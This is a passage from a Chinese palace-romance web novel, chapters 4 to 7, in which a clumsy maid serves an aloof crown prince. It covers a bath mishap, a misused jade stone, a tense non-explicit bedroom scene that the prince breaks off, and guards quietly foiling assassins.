盛溦溦想装的自然一些,可手却不听话的颤抖着,伸向娄宴的衣领时,又哆哆嗦嗦了好几下,不过好在这回她成功的捏住了衣领,可那扣子就像跟她作对似的,饶她手举酸了,脚也踮麻了,额上冷汗直冒,也没能解开娄宴领口的扣子。
盛溦溦一双秀眉拧的紧紧的,连嘴唇都似乎在一起用力,心里重重的叹了口气,正想着要不要换个方向再继续努力时,手腕忽然被一股大力握住,她疑惑地看向握住自己的那只手,再顺着那只手看向它的主人,顿时毛骨悚然,眼里都生出了恐惧。
啥眼神啊,又来?
“伺候人,不会?”闲散的口吻,冷淡的语气。
盛溦溦虽然心里慌张,但她知道一定不能承认她不会伺候人,要是娄宴一个不满意,将她退回去,就再也没有翻盘的机会了。“不是的,奴婢只是在浣衣局呆久了,动作可能有些生疏了,请殿下相信奴婢,奴婢很会伺候人的。”
很会伺候人?盛溦溦也不知道是在给自己打气呢,还是在安慰娄宴,只是这话她自己听着都觉得羞耻,但话已出口,想收回来已经不可能了,暗自祈祷娄宴最好没听清,谁知一睁眼就瞧见娄宴看她的眼神有些异样,看的她心里又是一阵发毛。
“孤自己来。”
娄宴说着,自顾自地伸手解扣子,盛溦溦被晾在一旁,很有些不好意思,脸一红,慌忙从凳子上下来,特别狗腿地道:“奴婢给殿下准备了玫瑰花瓣,奴婢替您洒入池里吧。”
说罢,便从身旁的花篮里抓一把玫瑰花瓣,蹬蹬蹬地跑向浴池边,许是太紧张了,跑的时候没留意,一脚踩在水渍上,手下一滑,整个人朝浴池里栽去。
“啊——”
娄宴刚脱了上衣,正欲脱下衣,忽听到扑通一声,抬眸时目触暗箭,一个抬手,又快又稳地夹住箭端,扔向一旁,而盛溦溦已在浴池里翻滚。
眸内精光一闪,娄宴一个跃身便潜入了浴池里,迅速游到盛溦溦身旁,单手将在水里不断扑腾的她一把捞了起来。
随着口鼻离了水,盛溦溦终于可以正常呼吸了,但方才溺水瞬间产生的恐惧一时间挥之不去,下意识的环住唯一的救命稻草,心有余悸的念叨:“要死了、我要淹死了……”
“死不了。”
头顶传来的声音冷的没有温度,给人的感觉一点儿不亚于方才落水时所产生的恐惧。
盛溦溦不由自主地打一个寒颤,下意识地抬起头来,入目是那张被上帝偏爱的脸,嵌着一双冰冷的黑眸,似有引力一般,将她吸入进去。
啊啊啊,又要晕了!
“你要抱到何时?”
随着他的视线看过去,盛溦溦发现自己正靠在他的身上,双臂紧紧环在他的腰际上,精壮健硕的腰肌在水光下若现若现,吓的她一哆嗦,慌忙松了手。
松的太快,重心不稳,人又直直地往水里倒去。
娄宴无奈地深深一叹息,手臂往水里一伸,像老鹰拎小鸡似的把盛溦溦从池里拎了起来。
盛溦溦这回吸取教训了,被他拎起来后,第一件事便是拜托娄宴将自己送上岸。
谁知娄宴将她往水里一放,声音微微不屑:“自己走。”
她是来伺候人的,又不是来参加游泳比赛的
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!自己走?走什么走……咦?脚到底了?水不深啊……才齐胸啊……
娄宴见她脸上的神情几经转变,一会怒意满满,一会喜笑颜开,最后还不忘抬起湿漉漉的脸朝自己乐呵呵一笑。
“殿下救了奴婢一命。”盛溦溦仰起脸,虽脂粉未施,却有着难得的清丽灵动,眼睛一眨,一滴水从长睫滑落,红唇呵气如兰,像个楚楚动人的精灵:“啊不对,是两命,殿下救了奴婢两命!”
不知道是水里有光,还是她眼里有光,像是漫天的星辰敛于眸内,眸眼弯弯、梨窝浅浅、唇色滟滟,一向冷淡如冰的娄宴,长年古板无趣的面容莫名其妙松了一松。
本就单薄的衣服被水浸透,紧贴着身体,发育姣好的身材也因湿身而显得愈加玲珑有致了,胜雪的锁骨间一瓣红艳艳玫瑰花瓣,像是毒药般引人入胜。
饶是娄宴定力非凡,此刻的目光也有些不可言喻了。
移开目光,压低了嗓音:“孤要沐浴,退下。”
“奴婢这就走。”
适应了水中的压力,盛溦溦迈着小步往岸边移,好不容易上了岸,她觉得还是有必要同娄宴解释一下:“殿下,奴婢方才就是低血糖犯了,没吓着殿下吧?”
其实,盛溦溦想问的是:殿下不会撵我走吧?
毕竟什么活儿都没干呢,自己先摔了一跤!
低血糖?娄宴听到三个字,冷眸眯了眯,视线强势的向盛溦溦压迫过来,那神情好似在说:你以为孤傻,还是以为孤瞎?
盛溦溦本就心虚,被他目光幽幽地一盯,差点儿就坦白了。
只是也不能算骗他,毕竟她真有低血糖的毛病,谁能说的清她刚才不是脚滑,而是低血糖犯晕呢!
论起比脸皮厚,她还从来没输过。
娄宴嘴角开始抽搐:“下去。”
“哦哦,奴婢这就退下。”
见盛溦溦转身出去,娄宴脱去下衣,扬手正准备扔向岸,盛溦溦又回头了。
举着内裤的娄宴:!!!
盛溦溦看着姿势怪异娄宴:???
“殿下,奴婢燃了熏蚊香,仅有的几只蚊子也都被熏死了,殿下可以放心沐浴了。”盛溦溦笑了笑,觉得自己真是勤劳的小蜜蜂啊。
……
盛溦溦回到自己的屋子里,太子府里也没什么人,而她又要贴身照顾娄宴,所以婆婆给她选了一间离娄宴寝屋最近的一间房——鎏音阁。
听婆婆说这间原先是练琴房,只是娄宴自打生病后,就不再练琴了,也不想看到琴,所以就把练琴房改成了普通住房,房子很大,各样生活用品也都很齐全,虽然比不上在盛府的闺房那般奢华,但比在浣衣局实在好太多太多了。
盛溦溦有一种一不小心捡到钱的窃喜。
盛溦溦打来热水洗了澡,又换了身干净的衣服,这才想到应该找点儿吃的,除了晚上试菜的时候吃了点儿东西,这一整天,都没怎么吃东西,照这样下去,恐怕低血糖真的会犯。
幸好厨房吃的多,种类也多,味道还超棒,吃饱喝足回到屋里,往柔软凉快的榻上一躺,竟然想发出“人生如此美好”的感叹。
也没躺多久,盛溦溦听到娄宴寝屋里的门打开的声音,府里没人,特别的安静,即使开门的声音不大,她也能听的清楚。
盛溦溦起身整了整仪容,婆婆说过的,娄宴不喜欢别人比他睡的早,所以她必须先服侍娄宴上榻,等他睡着了,才能回来睡觉。
5. 005
第五章
盛溦溦进门的时候,娄宴正坐在桌子前提笔写字,室内烛光柔和,室外月光幽幽,他一袭华贵白衣,简直像是天上下凡的神仙。
当然,前提是不看他的眼,那双眼睛像是无底深渊,看一眼便能夺魂夺魄的那种。
“殿下,奴婢帮您磨墨吧。”盛溦溦笑着小跑了过去,拿起桌上的一块磨石开始磨墨。
娄宴未抬头,也未言语,甚至手中的动作都无丝毫停顿,但他却清晰地感觉到,这新来的宫女似乎哪儿都好,就是有点……莽撞。
就比如现在,她什么不拿,偏拿他最珍贵的一块玉来磨墨,况且,她用力极大,溅出了墨汁,有一滴还溅在他的衣服上。
“不好意思啊殿下,奴婢不是故意的,奴婢给您擦擦。”
说着,盛溦溦伸手就要来擦试,被娄宴伸臂挡住。
现在只是溅了一滴,要是被她双手一擦,那就是抹了一身的墨汁。
娄宴沉着脸,憋着气:“这是玉……”
盛溦溦看向手中的石头:“奴婢瞧着是黑色的啊。”
娄宴气的一口老血差点儿吐了出来:“你眼中黑色的东西,都是用来磨墨的?”
“那倒不是,可奴婢见它是放在砚台旁边的啊。”盛溦溦小声嘀咕了一下,见娄宴眸中怒意更甚,头一垂腿一弯,光速认怂,眨巴眨巴眼睛,十分诚恳的模样:“奴婢错了,奴婢有眼不识玉,是奴婢不对,奴婢这就把玉石洗干净。”说罢,也不等娄宴回应,一溜小跑出屋了。
莽撞接二连三,认错的态度倒很积极,娄宴深吸一口气,莫名觉得她那慌张的纤弱背影竟……有点儿可爱。
……
娄宴的院子里就有洗漱的水池,通的是过滤后的山泉水,又干净又清凉,盛溦溦洗好了墨石后,又顺便把沾了墨汁的胳膊也洗了洗,想了想,又把脸洗了洗。
“新来的?”
一抬头,只见一个蓝衣打扮的男子站在水池一端,怀里抱着一把长剑,剑首齐眉,一头乌发束起,发尾随风飘扬,下巴微抬,高傲的不可一世。
娄宴有三个武功盖世的属下,分别是黑衣九陌、红衣寒月、蓝衣十里,其中九陌内敛、寒月冷血、十里张扬。
眼前这么臭屁张扬的人,肯定就是蓝衣十里了。
“对。”盛溦溦扭头,看到十里的时候,黑漆漆的瞳仁突然绽放出光亮来:“你是名震天下的蓝护卫大人?”
十里本来还对盛溦溦怀有敌意,毕竟每一个入太子府的宫人,对太子殿下来说都是潜在的危险,必须彻查,这个盛溦溦他也查过了,干净的如同一张白纸,在盛府十几年,每日皆是吃喝玩乐,一点儿都不输那些名声在外的纨绔子弟,饶是如此,也不能掉以轻心,所以才提剑来试探。
可一见她那个毫不掩饰的崇拜之情,还有言语间的恭维之意,十里禁不住有些飘飘然了:“那个……正是在下。”又像颇有些故意表露出一副谦虚的模样:“也没有你说的那么离谱啦,小有名气、小有名气而已。”
盛溦溦笑眯了眼,成功打入敌人内部,方能混的久远,像十里这样张扬的人,就喜欢别人吹捧他,越吹捧越骄傲,越骄傲,越拿你当自己人看。
“我一个闺中女子,都听过你的大名呢,怎么会是小有名气?没想到蓝护卫大人武艺高超不说,还如此谦虚,怪不得有如此高的名气呢。”
“你听过我的名?”
“何止听过。”盛溦溦笑笑,胡乱邹道:“蓝护卫大人的惩恶扬善的故事,早就被编成了戏折子了,还是点唱人气最高的故事之一呢。”
十里扬眉,自己现如今的人气这么旺了么,都到了传戏折子的地步了?
十里不禁咧开了嘴,一下就对眼前的姑娘产生了好感,上前几步,见她手上黑漆漆的,问:“你在做什么?”
“哦,我不小心弄脏了殿下的墨玉,正在将功补过呢。”
十里被逗笑了:“殿下生气了?”
“神情虽然没变化,但应该是生气的。”盛溦溦摇摇头,道:“殿下平时也都这样面无表情吗?生气还是不生气,表情都一个样儿,我进府大半日了,也没见殿下笑过呢。”
十里一副过来人的口吻,道:“大半日?你就是呆上个十年八年的也一样。”
……
娄宴练完了整整一页纸,盛溦溦也捧着洗的透亮的墨玉回来了:“殿下,墨玉洗干净了,”满脸殷勤地笑:“物归原主。”
“放回原处。”
盛溦溦“哦”了一声,将墨玉放到原位,想了想,终是觉得怕再弄混淆,又从桌子上拿了一把扇子隔在墨玉和砚石中间,这才觉得放下心来。
娄宴剑眉微挑,盯着扇子的面部神色有点扭曲,性感的唇角又开始抽搐。
盛溦溦诚惶诚恐:“殿下,那不是一把普通的扇子吗?”
“从你碰它的那一刻起,它便再普通不过。”说完,娄宴觉得匪夷所思,一向不乐意多话的他,竟然一本正经的回答她可笑的问题?
盛溦溦眉头紧蹙,她这是一不小心又得罪了娄宴?
啊啊啊,请让我原地爆炸!
盛溦溦小心翼翼地拿起扇子,轻轻地拍了拍,尔后放回原处,娄宴对她这个毫无用处的动作甚是不解,只见她抬起头,眼眸澄澈,像是一面映照人心的镜子。
“殿下,奴婢现在把扇子放回去了,殿下就当刚才什么都没发生,它就还是那个不普通的扇子。”盛溦溦眸光荡漾,随后轻轻垂下头,语气有些自责道:“奴婢第一次进这间屋,也不知道什么该拿,什么不该拿,如果奴婢说错了做错了,殿下该怎么罚,便怎么罚,不必因为奴婢是女子,而另眼相看。”
盛溦溦十分自信:她都这么说了,是个男人应该都不会罚她的。
娄宴勾了勾殷红色的唇,冷哼道:“你觉得如何罚合适?”
嗯?盛溦溦惊讶地抬头,这人咋不按套路出牌?
“奴婢……奴婢觉得……”
娄宴淡淡开口:“桌上有封信,罚你替孤回了。”
信?盛溦溦顺着娄宴的目光看去,果见桌上一角静静地躺着一封尚未打开的信,信封上的字迹绢秀柔美,还细心地画了几朵花,用色绚烂,一看就知道写字人必是女子。
不用猜也知道是情书了,下午收拾书房的时候,盛溦溦在纸篓里发现许多类似的信,由于信都没拆,她好奇就打开一封来
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看,才知道是情书,足足塞满了满满一纸篓,可怎么旁的情书都扔了,偏偏留下这一封呢?难不成对方比较特别,既然特别,怎么让她来回信呢?
盛溦溦喃喃:“这不合适吧?”
“你在拒绝孤的命令?”
随着冰冷的声音传出,娄宴眉角微沉,眸内的森冷寒霜便不动声色的溢出,盛溦溦顿时觉得后背每根汗毛都倒竖起来了。
她哪有资格拒绝啊!盛溦溦眉眼一弯,脸上堆满了讨好的笑:“殿下,奴婢的意思是,您这信是想回的炽热激情一些呢?还是要情意绵绵一些?或者……冷淡绝情一些呢?”说完,又怕娄宴怀疑她的本事,拍着胸脯又补了一句:“殿下尽管吩咐,奴婢包您满意。”
娄宴黑眸微沉,看向盛溦溦的目光里隐隐透着一丝不清不楚的不悦之感。
盛溦溦纳闷了,都包您满意了,怎么还是这副死气沉沉的样子?
“如此,这人往后便交给你了。”娄宴敛眉,神色冷清淡漠:“人,孤不感兴趣,但她的命需得留住。”
盛溦溦捏着信的手在颤抖,她听说过夏远候千金夏烟为了娄宴寻死觅活的,难不成这封信是她写的?
那回信的难度有点儿大啊!
盛溦溦想反悔。
“殿下,奴婢何德何能……”
“明日写好,自有人取。”
盛溦溦:“……”
好了,彻底被逼入死胡同了。
娄宴目光淡淡,觑了她一眼,一挥长袖,径直朝床榻的方向走去。
盛溦溦见状,知道娄宴这是打算睡觉了,便识相的跟了过去,娄宴中途突然停了下来,她低着头没留意,一下就撞在他的后背上。
没听说后背也能练出肌肉的,怎么他后背这么硬呢?
盛溦溦捂着脑袋见娄宴盯着床榻的目光里透着“没有一点儿伺候人的觉悟”,这才后知后觉的反应过来,床还没铺呢!
“殿下稍等,奴婢这就铺床。”
盛溦溦慌慌张张地铺好了床榻,有些不安地偷偷看了一眼娄宴,见他神色如常,才稍稍放下心来,学着电视里的台词,道:“殿下,夜深了,奴婢伺候您歇息吧。”
娄宴淡淡地“嗯”了一声。
盛溦溦目光在屋里扫了一圈,发现并没什么合适的凳子,只好硬着头皮踮起脚尖给娄宴宽衣,因为不够高,几次险些扑倒在娄宴的怀里,还好最后在娄宴的帮助下,她都稳住了,才没有太过于尴尬。
吸取了在浴池里的教训,虽然还是费了些时间,但至少她将娄宴的衬衣成功的脱了下来。
拿过一旁屏风上的寝袍再走回到娄宴身侧的时候,盛溦溦情不自禁的咽了咽口水。
这不就是那些惹人垂涎三尺的男神们拍写真时才有的好身材么,这么无遮无掩的出现在盛溦溦眼前,她能闭眼吗?
当然不!
当然要趁着这个机会过过眼瘾了。
虽然知道自己这个行为很羞耻,但盛溦溦在替娄宴穿寝袍的时候,还是有意无意的碰了几下娄宴的肩、臂、后背,手感简直不要太好。
盛溦溦刚替娄宴扣好了寝袍的领子,便听到他又冷又硬的声音传来:“灭灯。”
6. 006
第六章
“好的,殿下。”
盛溦溦走到桌前吹灭了灯,正准备朝屋外走,只是室内的烛灯一灭,她的眼情一下子不能适应,也不确定门在哪个方向,只能凭直觉摸索着走,也不知道方向对不对,走了几步,脚突然踢到了什么东西,竟被拦住了方向,迈也迈不过去。
这房间她也是第一次来,冷不丁的一撞,也搞不清此刻身在何处了,只能慢慢往下摸,先是摸到一个微凉的铺面,手感莫名有些熟悉,再接着又摸到了有些温热又有些精壮厚实,还上下起伏的……胸膛?
盛溦溦倒吸一口凉气,吓的连忙缩回手,明明是记得这个方向是朝屋外走的啊,怎么竟摸到了床上?
“殿……殿下,对……对不起啊……”
话还没说完,盛溦溦就感觉胳膊被一股大力猛地一拽,整个人失去重心的朝前栽去,与此同时,一条蛮横有力的手臂往她的腰间一揽,还没等她反应过来发生了什么,就又撞上了坚硬的物体上。
这个时候眼睛也慢慢适应了黑暗,盛溦溦摸了摸刚才撞的地方,发现是一堵墙,又摸了摸身下躺着地方,心里又是一惊。
这冰冰凉凉触感跟她方才铺床的时候一模一样,正是娄宴就寝的琉璃榻。
她竟然在床上,还是靠墙的内侧。
而外侧躺着的……正是娄宴。
盛溦溦头皮一阵阵发麻:“殿下……,奴婢不是故意的,奴婢想往外走来着,也不知道怎么就走反了……”此刻就是有一百张嘴,怕也是跳进黄河都洗不清了。
盛溦溦脑海里反复浮现出:那些爬上娄宴床榻的女子,都被他提着剑撵出去了。
“不知道么?”
盛溦溦觉得娄宴的语气听起来甚有些古怪,似乎有些讥讽,还有些嘲弄,但她此刻的处境委实太尴尬,根本没有时间也没有精力去做分析了,她卷缩着身子想爬下床,还没等她爬呢,就被娄宴伸手轻轻一推,整个人仰面躺在了床榻上。
与此同时,那张她今日看了无数遍的峻逸冷颜出现在眼前。
“殿下?”
盛溦溦脑袋一嗡,身下是冰爽的琉璃榻,眼前是炙热的火,冰与火截然相反的两种感觉同时煎熬着她,她感觉全身都在颤抖。
盛溦溦发誓,她真的不想被撵出府,她只想好好的伺候娄宴,取得他的信任,好在他登上皇位的时候,看在她没有功劳也有苦劳的份上,能赦免她、赦免盛家。
“殿下,奴婢真的不是有意的,求您别撵奴婢走,奴婢给您做牛做马都行,求您别撵奴婢走……”盛溦溦硬着头皮解释着,声音里隐隐带了点哭腔了。
“孤不撵你,孤遂了你的愿,成全你。”
冷幽幽的声音传来,带着浓烈霸道强势的荷尔蒙气息,盛溦溦还没听明白他话里的意思,就感觉有手在扯她的衣服。
这一扯,盛溦溦便完全明白过来了,娄宴这是以为自己在勾引他呢!怎么办,娄宴最痛恨的就是别人爬他的床,现在自己又让他产生这个误会,若是今夜过后,他提着剑把自己撵出府,那真是赔了夫人又折兵啊。
“殿下!”盛溦溦一只手下意识抓住自己的衣服,一只手慌忙去拦娄宴的手,可她就算是使出了全身的力气,也比不上娄宴的分毫,但她这个时候确实也没有任何别的法子了。“奴婢唯一的心愿就是伺候好殿下,希望殿下身体康健,从不想别的。”
“别的?”借着月光,娄宴瞧见自己被她捉住的手,噙起一抹冷到骨子里的笑:“同孤玩欲擒故纵,嗯?”
盛溦溦一怔,知道娄宴对她的误会更深了,他可是她所有的赌注,她哪有玩他的胆量啊!“不不不,殿下您误会了,奴婢没这个意思,奴婢是来府里伺候殿下的,奴婢不敢撒谎。”
“伺候?”娄宴的笑又冷了几分,近在眼前的惑人魅颜:“你不知道何为伺候么?”
盛溦溦脑袋一嗡,身体一软,难不成他真要自己陪……睡?
苍天明鉴,她盛溦溦进太子府是凭本事吃饭的,不是身体啊。
“殿下,奴婢只是一个地位低下的奴婢,不能扰了殿下的尊贵,殿下日后会遇到一个特别高贵的女子的,您爱她,她也爱您,不能因为奴婢这样卑贱的女子,而拉低殿下高贵的身份啊。”盛溦溦的确没有撒谎,上一世,娄宴与丞相府结了亲,娶了丞相千金,最终借着丞相的势力,斗赢了其他几位皇子,顺利登上了皇位。
“你以为,孤要了你,就一定会给你名份么?”娄宴冷淡至极,连嘲讽都是奸邪恶毒的。
这话足够现实,盛溦溦竟无法反驳,再一次陷入无边无际的无助之中。
不是说娄宴不近女色么?那现在是什么情况啊!
在南夜,奴婢的地位连主人的爱宠都够不上,只是主人随意便可以丢弃的物件,娄宴能要她,是抬举她,可问题是她知道的娄宴是不近女色的,所以她并没有做好心理准备,如果她事先知道会如此,面对这样一个颜值和身材双双达到巅峰的男人,她也会心猿意马的,而不是像现在这样瑟瑟发抖。
发抖归发抖,她能拒绝眼前这个唯一能令盛家起死回生的未来国主么?
盛溦溦很清楚,她不能。
娄宴伸手握住盛溦溦柔软嫩滑的下巴,冷洌的气息离她越来越近,眼见就要吻上她的唇,盛溦溦紧张的全身都绷了起来,紧紧闭上眼睛、咬紧牙关。
紧抿的唇被清洌微凉的唇触到时,盛溦溦整个身体都跟着一颤,硬生生控制住不去踢娄宴的冲动,双手紧张的抓住琉璃榻上的蚕丝薄被。
等盛溦溦做好了视死如归的准备,却发现微凉的唇突然抽离,身上的压迫感也陡然消失,慢慢睁开眼,看向冷眼觑向她的娄宴。
四目相对的刹那,娄宴幽黑的视线一凛,盛溦溦感觉到她似乎已经游走在人间和地狱的边缘了。
“孤不喜勉强,”生冷的语气,不容分辨的冷漠,还有把人迷的七荤八素的脸:“出去。”
盛溦溦也不知道自己哪里惹到娄宴了,他翻脸比翻书还快,整个人散发出比平时更加冷洌的寒气,空气也跟着稀薄起来,令人望而生恐,不敢靠近。
盛溦溦缩了缩身子,趁着这个间隙,小心翼翼地溜到床榻另一边,飞快地爬下了床:“殿下早些歇息,奴婢告退。”
逃出屋的盛溦溦这才发觉双腿发软,但比腿发软更可怕的,是她意识到如果她就这么回去了,很可能明日一早迎接她的就是卷铺盖走人。
怎么办?
进一步,海阔天空,退一步,被逐出府。
犹豫了一会儿,盛溦溦还是决定进一步。
“殿下,您睡了吗?”盛溦溦跪在寝屋门口,半晌没听到屋内的动静,但她确定娄宴不会这么快就睡着,硬着头皮道:“奴婢方才不……不是勉强,奴婢是……紧张,请殿下再宽容奴婢些时日,奴婢保证克服……紧张,求殿下不要赶奴婢走。”
为了留在太子府,连克服紧张这种话都能说出口,盛溦溦觉
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得自己已经羞耻到前无古人后无来者的地步了,这会儿她不是勾引,也不是欲擒故纵,她这分明是正大光明的不要脸啊!
可屋子里还是半点儿声音都没有,盛溦溦犹豫着要不要再解释一遍:“殿下……”
“再多说一个字,孤保证你哪儿来回哪儿去。”
盛溦溦:“……”
虽然娄宴的语气颇有些不耐,但盛溦溦还是后知后觉的明白了过来,她不用离开太子府了,至少目前不会。
担忧顿消,盛溦溦这才起身默默回了屋。
床榻上的娄宴不紧不慢的侧过身,单手支着头,唇角噙起一抹不明的神色,月光下,他的寝袍微微敞开,强健有力的胸膛若隐若现,在月光下显得尤为性感惑人。
盛溦溦走后,一个黑影悄无声息的隐入屋内。
“属下办事不力,请殿下责罚。”九陌声音不大,饱含自责,入夜后他一直守在东屋顶,殿下用膳时他已经发现了黑衣人,本来他有十足的把握抓住黑衣人,但在他凌空朝黑衣人跃去时,突然冒出三个黑衣人执剑刺向他,等他击杀三人之后,发现那黑衣人手中的剑已经射了出去。
万幸的是,盛姑娘一头撞在了门框上,身子一偏,才没被射中。
后来在浴池时,他已将埋伏在浴池外的杀手除去,却没想那杀手竟留了一招,尸首倒地的刹那,藏在袖中的暗箭便发了出去,幸而盛姑娘又一头栽进了浴池里,也没被射中。
这就是传说中的走狗屎运吧?
“本月内,她若无恙,功可抵过;”娄宴口气淡漠,仿佛在说一件无关生死的小事:“她若殒命,则朝局动荡、人心叵测,你我恐怕皆不能活。”
“殿下放心,属下誓死护盛姑娘周全。”九陌身影一挺,声音虽然坚定,但他知道他能守住的是来自外部的威胁,但来自内部的威胁他却束手无策。“盛姑娘会不会……”
“不会。”娄宴没有丝毫犹豫:“孤探过她的脉博,并无异样。”
娄宴方才压住她的时候,手已探过她的脉,因为过于紧张,她的脉膊又快又乱,但绝非异常,可以确定她目前身体健康。
这样的体质只要不出意外,撑过这个月应该不会有问题。
而意外,他绝不允许发生。
“殿下为何不将盛姑娘留在屋内?”九陌是典型的直肠子,在他看来,殿下需要保护,盛姑娘也需要保护,两个人若能在一起,他便可以同时保护两个人,而不至于顾此失彼,而且殿下正是精力旺盛的年纪,没个女人来调和调和,时间一长,恐怕内火不调,容易憋坏身子。“属下身为男人,有些忙帮不了殿下,还是得有个侍女贴身伺候您妥当些。”
九陌心思深沉,但有些话直接了当些更好,所以说出的话也是直白的不能再直白了。
“你很闲?”娄宴冷冷地一个眼神杀过去,即使月黑风高,九陌看不清,也能感觉到那目光似沁着寒冰的刀刃一般,甚是骇人。
“属下只是担心殿下的身子……”九陌说完后也觉得不太恰当,不禁冷汗直冒,想想还是少说话为妙,垂眸告退:“殿下当属下什么都没说吧,属下去守着盛姑娘了。”
九陌溜的够快,唰的一下就不见人影了,娄宴却生出一些有些不知所云的愤闷来。
先是被宫女以紧张为借口拒绝,接着被属下质疑他身为男性的尊严,娄宴的脸色愈发的阴沉起来。
盛溦溦,孤虽不是一个猴急的人,却也不是一个过份宽容的人。
7. 007
第七章
几个月的浣衣局生活,让盛溦溦养成了早起的习惯,天刚蒙蒙亮,她就醒了。
她的屋子离娄宴的屋子近,从窗户正巧可以看到娄宴屋子的大门,有什么动静她都能看到听到,瞧娄宴的屋子里没动静,她便打算先洗漱,然后再去将书房和院子打扫一遍,最后再回来服侍娄宴起床。
书房不小,婆婆又说过娄宴喜欢纤尘不染,俗称就是洁癖,盛溦溦想要一下子全擦完也不可能,只能先将书桌擦洗干净,至于书架和院子只能晚些时候再打扫了。
扫着扫着,突然听到西边传来的敲门声,西边是后门,也就是她进府时的那个小后门。
娄宴因病在府内休养,长年不出门,饶是如此对他贼心不死的世家小姐也不在少数,婆婆临走之前就特意叮嘱过,不要随意给人开门。
可此刻那门敲个不停,若任由其敲下去,惊扰了娄宴,以他那个冷淡的性格恐怕会怪她做事太不灵活,一点儿不懂得变通的。
犹豫了一会儿,盛溦溦决定去西后门瞧瞧。
开了门,只见一个丫鬟打扮的姑娘上下打量了她一眼,语气一点儿都不客气的问:“婆婆不在?”
盛溦溦以为对方是来找婆婆的,回了一句“婆婆告假了”便欲关门,那姑娘却伸手一挡,一边还回头叫道:“太好了,小姐,那个老太婆不在。”
盛溦溦一听丫鬟的口气,心知她一定在婆婆那里碰了不少壁。
随着那丫鬟的视线,盛溦溦看到她身后不远处,还有一顶软轿,轿帘一掀,首先露入眼帘的是一双三寸小金莲。
在这个女子以脚小为美的南夜国,盛溦溦觉得这眼光甚是变态,加之那丫鬟很不敬的称婆婆为老太婆,连带着她对这主仆二人都没什么好印象。
“这位姑娘可是新入府的宫女?”
不仅知道自己是新来的,还知道自己是宫女,盛溦溦一听,便知道对方是有备而来。
“正是。”盛溦溦见那小姐说话柔柔弱弱的,又见那丫鬟张牙舞爪的,便知道这两个人是什么段位了,南夜国主仆的标配,一般有三类:
第一类:主子柔弱,丫鬟跋扈。
第二类:主子跋扈,丫鬟柔弱。
第三类:主子跋扈,丫鬟更跋扈。
这两人很显然,是属于典型的第一类。
盛溦溦站在门前,双手把在门上,丝毫没有打算放人进来的意思:“请问你们找谁?”
丫鬟气焰嚣张:“我们小姐是来找太子殿下的。”
“殿下正在养病,任何人都不见。”
“我们小姐可是同殿下从小一起长大的,能和旁人一样么。”
这丫鬟口气还真不小。
“遵皇上皇后旨意,任何人都不得打扰殿下养病。”
“这位姑娘,”小姐上前一步,柔柔的牵过盛溦溦的手,盛溦溦正觉得浑身起了鸡皮疙瘩,忽然一股又滑又凉的东西滑入了手腕:“我找太子殿下确实有事,有劳姑娘了,此事只要你不说我不说,宫里怎会有人知晓呢。”
小姐果然是小姐,就是比丫鬟识大体、懂套路。
盛溦溦硬是忍住心里的不适:“既然小姐确实有事,那我便通融一次,只是你们进来后,只能在书房外殿等着,我需要先问过殿下,若殿下不同意,恕我也无能为力。”
小姐笑了笑:“多谢姑娘。”
盛溦溦将主仆二人领进了府,安排待在书房外殿,之所以没让她们在西门外等,是为了显示自己的诚意,好给后面的戏铺路。
盛溦溦进了内殿,将手腕上的玉镯取下,对着阳光照了照,通体润泽,虽不是上好的羊脂玉,但也能卖不少银子了。
没想到在太子府做个婢女,竟然也能有意外收获。
盛溦溦在屋子里磨叽了好一会儿,约摸时间差不多了,便返身出去。
至于娄宴,她压根就没想着去问,婆婆说过,娄宴谁都不见,但拿人手短啊,冲着玉镯也得做做样子啊。
盛溦溦一出屋子,陡然瞧见外殿除了主仆二人外,竟然还有第三人。
挺拔的身驱,高贵的气质,嗜血的霸气——娄宴什么时候起来的?
娄宴冷冷一个目光看过来,盛溦溦吓的双腿发软:“殿……殿下……她们……”
娄宴没有给她把话说完的机会,目光从盛溦溦脸上冷淡的飘过,看向那位小姐,语气甚是不近人情:“下不为例,以后没有孤的允许,不得踏入太子府半步。”
盛溦溦觉得娄宴说出来的话都像凝固的冰锥似的,一下一下戳在那小姐的心上。
“我知道了,是我的错,我这就回去,太子殿下勿要生气,保重身体要紧。”小姐已然觉得委屈,眼睛控制不住的滴了下来,却是倔强的不想被娄宴看到,低着头匆匆往外走去。
盛溦溦心知不妙,挪了挪沉重的步子,声音颤颤巍巍:“奴婢……送送她们……”
娄宴视线如剑一般直直插在盛溦溦脊梁上,令她迈出去的动作瞬间凝固,明明长在她身上的双腿已经听不了使唤了。
“谁给你的权利,随意带人进府?”
“奴婢……”
“门外跪着。”
虽然知道娄宴恐怖,也听过太多关于娄宴凶残的“事迹”,但他这般神情还是第一次在盛溦溦面前出现,明明是不动声色,明明是眼色微凛,但那双眸中生起的森冷寒意在不知不觉间已经将她包围,令她如坠冰窖,更加惶恐不安。
盛溦溦知道自己这次大概踩到雷了。
“奴婢这就去跪。”盛溦溦半点儿辩解都不敢,老老实实地走到门口,在廊下跪着了。
也没跪多久,十里走了过来,他虽然全程没参与,但他看到了个大概,遂以过来人的身份,语重心肠地给新来的小羔羊指点迷津:“我劝你啊,在太子府做事,只管做好份内之事,旁的不要管——”
“十里。”
书房内,一声幽沉的声音传了出来。
“在。”十里神色一颤,话都来不及说完,便朝书房内走去。
“殿下。”十里手里拿着把匕首,递了过去:“殿上,这是属下让人新铸的匕首,您瞧瞧如何?”
“放下。”娄宴目光投在手中的册页上,眼皮都不抬一下:“你方才说什么?”
十里头一垂,正色回道:“属下提醒她,不要糊涂行事。”
“她是谁?”仍旧是淡漠的声音。
“她?是盛姑娘啊。”
“盛姑娘又是谁?”
十里快要被问哭了:“就是伺候殿下的那个婢女啊……”
“所以,”娄宴终于慢悠悠的抬起眸,黑光乍然,令人不敢直视:“你觉得她要你教?”
十里的榆木恼袋终于有了灵光一闪的感觉,忽然醒悟过来:“当然不需要,殿下的婢女,自然殿下教便可,是属下不懂规矩。”
“所以?”
十里心里苦不堪言,也不知打哪来的无妄之灾啊。
“属下认罚。”
“门外跪着。”
“属下遵命。”
“回来。”娄宴将转身出门九陌叫住,眉梢微挑,唇角溢
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出一丝冷淡,道:“让她进来。”
“……”十里愣住:“盛姑娘不用跪了?”
殿下这做法分明没有一视同仁啊?
“孤亲自教,”娄宴神情淡淡:“你有异议?”
“没有。”
“那还不去跪?”
“是。”
……
盛溦溦跪的腿稍微有些发了麻,便见十里一脸愁容的从书房里走了出来,哀怨地瞅了她一眼,丢下一句“殿下让你进去”后,便扑通一声在她身旁跪下去了。
